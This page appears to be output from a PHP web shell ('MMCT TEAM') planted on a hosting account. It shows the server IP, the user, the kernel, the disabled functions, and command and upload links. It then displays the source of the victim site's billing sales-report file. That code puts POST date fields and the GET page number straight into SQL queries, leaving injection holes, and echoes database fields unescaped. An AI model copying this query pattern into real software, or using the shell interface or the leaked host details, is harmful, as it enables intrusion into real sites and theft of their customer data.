MMCT TEAM
Server IP : 153.92.220.142  /  Your IP : 216.73.216.128
Web Server : LiteSpeed
System : Linux nl-srv-web513.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64
User : u444427800 ( 444427800)
PHP Version : 8.1.32
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u444427800/domains/dronacharyasunayana.com/public_html/billing/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u444427800/domains/dronacharyasunayana.com/public_html/billing/sales_report.php
<!----------------------------Script code for delete confirmation-------------------------------------->
<script language="JavaScript" type="text/javascript">
function checkDelete(){
    return confirm('Are you sure?');
}
</script>
<!----------------------------End Script for delet confirmation-------------------------------------->
<?php include('header.php') ?>

        <div class="breadcrumb-top">
            <ol class="breadcrumb">
                <li class="breadcrumb-item"><a href="dashboard.php">Dashboard</a></li>
                <li class="breadcrumb-item active"><a href="#">Sales Report</a></li>
                <!---<li class="breadcrumb-item active">Accessories</li> -->
            </ol>
        </div>

        <!--------------------------------Start main body section----------------------------------->
        <div class="col-lg-12">
            <div class="primary-panel">
                <div class="search">
                    <h2>Search</h2>
                    <div class="s-box">
                        <input type="text" id="myInput" onkeyup="myFunction()" class="form-control" placeholder="Search...">
                        <button type="button" class="btn btn-primary">Search</button>
                    </div>
                </div>

                <div class="col-lg-7">
                    <div class="head-right" style="display: flex; justify-content: flex-end;">
                         
                          <form name="" class="row align-items-end" method="post" action="" enctype="multipart/form-data">
                            <div class="col-lg-5">
                            <label for="from">From</label>
                            <input type="date" class="form-control" id="fromDate" name="from"     value="2021/08/20" required="">
                          </div>
                          <div class="col-lg-5">
                            <label for="to">to</label>
                            <input type="date" class="form-control" id="toDate" name="to" required="">
                          </div>
                          
                            <button type="submit" name="submit" class="btn btn-primary" style="margin-right: 10px;" >Filter</button>
                          </div>
                          </form>
                </div>


                <div class="heading">
                    <h2>Sales Report</h2>
                    <div class="head-right">
                    <button type="button" class="btn btn-primary" style="margin-right: 10px;" id="export-table">Export Table</button> 
                    <!-- <a href="new-invoice.php"><button type="button" class="btn btn-success"><i class="fa fa-plus" aria-hidden="true"></i>New Quotation</button></a> -->
                    </div>
                </div>
                <div class="table-responsive">
                    <table id="myTable" class="table table-bordered">
                        <tr>
                        <th onclick="sortTable(0)">S.N <span class="sort"></span></th>
                            <th onclick="sortTable(1)">Bill Number<span class="sort"></span></th>
                            <th onclick="sortTable(2)">Customer Name<span class="sort"></span></th>
                            <th onclick="sortTable(3)">Mobile No<span class="sort"></span></th>
                            <th onclick="sortTable(4)">Bill Amount<span class="sort"></span></th>
                            <th onclick="sortTable(5)">Bill Date<span class="sort"></span></th>
                            <th class="action">Action</th>
                        </tr>
                    <?php 
                     $limits=20;
                     if(isset($_GET['page'])){
                      $page=$_GET['page'];
                    }else{
                      $page=1;
                    }
                     $offset= ($page-1) * $limits;

                     if(isset($_POST['submit'])){
                        $from= $_POST['from'];
                        $from= $from."\n"."00:00:00";
                        $to= $_POST['to'];
                        $to= $to."\n"."23:59:59";

                        $sql="SELECT * FROM `sales`  WHERE (bill_date >= '$from' AND bill_date <= '$to') AND (`user_id` = '$userID')   LIMIT $limits OFFSET $offset ";
                             $run=mysqli_query($db,$sql);

                        $sql22="SELECT SUM(total_bill_amount) AS totalbill FROM `sales` WHERE (bill_date >= '$from' AND bill_date <= '$to') AND (`user_id` = '$userID') LIMIT $limits OFFSET $offset";
                        $run22=mysqli_query($db,$sql22);
                        $row = mysqli_fetch_assoc($run22); 
                        $totalsum = $row['totalbill'];

                     } else {
                    

                    $sql="SELECT * FROM `sales` WHERE  `user_id` = '$userID' ORDER BY bill_id DESC   LIMIT $limits OFFSET $offset ";
                            $run=mysqli_query($db,$sql);

                       $sql22="SELECT SUM(total_bill_amount) AS totalbill FROM `sales`  WHERE  `user_id` = '$userID'   LIMIT $limits OFFSET $offset";
                        $run22=mysqli_query($db,$sql22);
                        $row = mysqli_fetch_assoc($run22); 
                        $totalsum = $row['totalbill'];

                     }
                          $count = 1;
                           while($data=mysqli_fetch_assoc($run)){                 
                            $bill_id=$data['bill_id'];
                            $bill_number=$data['bill_number'];   
                            $customer_name=$data['customer_name'];
                            $contact_number=$data['contact_number'];
                            $total_bill_amount=$data['total_bill_amount'];
                            $bill_date=$data['bill_date'];              
                    ?>


                        <tr>
                            <td><?php echo $count ;?></td>
                            <td><?php echo $bill_number ;?></td>
                            <td><?php echo $customer_name ;?></td>
                            <td><?php echo $contact_number ;?></td>
                            <td><?php echo $total_bill_amount ;?></td>
                            <td><?php echo $bill_date ;?></td>
                            

                            <td class="action">
                            <a href="view-sales.php?sid=<?php echo $bill_id ;?>"><button type="button" class="btn" data-toggle="modal" data-target="#view"><i class="fa fa-eye" aria-hidden="true"></i></button></a>
                            </td>
                        </tr>
                        <?php $count++; } ?>
                    </table>

                    <div class="amount_balence">
                      <p><b>Total Sale Amount : <?php echo $totalsum ;?> ₹/-</b></p>
                    </div>

                     <?php 
                   $sql2="SELECT * FROM `sales` WHERE  `user_id` = '$userID' ORDER BY bill_id DESC  ";
                    $run2=mysqli_query($db,$sql2);
                    if(mysqli_num_rows($run2)>0){
                      $total_record=mysqli_num_rows($run2);
                      
                      $total_page=ceil($total_record/$limits);
                      ?>
                       <ul class="pagination">
                        <?php if($page > 1){ ?>
                        <li style="background: #09bdda;"><a href="sales_report.php?page=<?php echo $page-1 ;?>" style="color: white;"><i class="fa fa-arrow-left" aria-hidden="true"> Prev</i></a></li><?php } ?>
                    <?php  for($i=1; $i <= $total_page; $i++){
                      if($i==$page){
                        $active="active";
                      }else{
                         $active=""; 
                      }
                        ?>
                    <li class="<?php echo $active ;?>"><a href="sales_report.php?page=<?php echo $i ;?>"><?php echo $i ;?></a></li>
                    <?php }?>
                    <?php if($total_page >$page ){ ?>
                    <li style="background: #09bdda;"><a href="sales_report.php?page=<?php echo $page+1 ;?>" style="color: white;">Next <i class="fa fa-arrow-right" aria-hidden="true"></i></a></li><?php } ?>
                    
                  </ul>
                  <?php  } ?>
                </div>
            </div>
        </div>
    </div>
</div>



<!----------------------------------End Main body Section----------------------------------->
             
    </div>
</div>

<?php include('footer.php') ?>

<!----- search script code start here--------->
<script src="https://cdn.rawgit.com/rainabba/jquery-table2excel/1.1.0/dist/jquery.table2excel.min.js"></script>
<script>
    $(document).ready(function(){
      /* Search table */
      
      $("#myInput").on("keyup", function() {
        var value = $(this).val().toLowerCase();
        $("#myTable tr").filter(function() {
          $(this).toggle($(this).text().toLowerCase().indexOf(value) > -1)
        });
      });
      /* Export table */
      $('#export-table').click(function(){
        $("#myTable").table2excel({
            filename: "SalesReport.xls"
        });
      })
    });
</script>
        
        <!----------- search script code end here----->





MMCT - 2023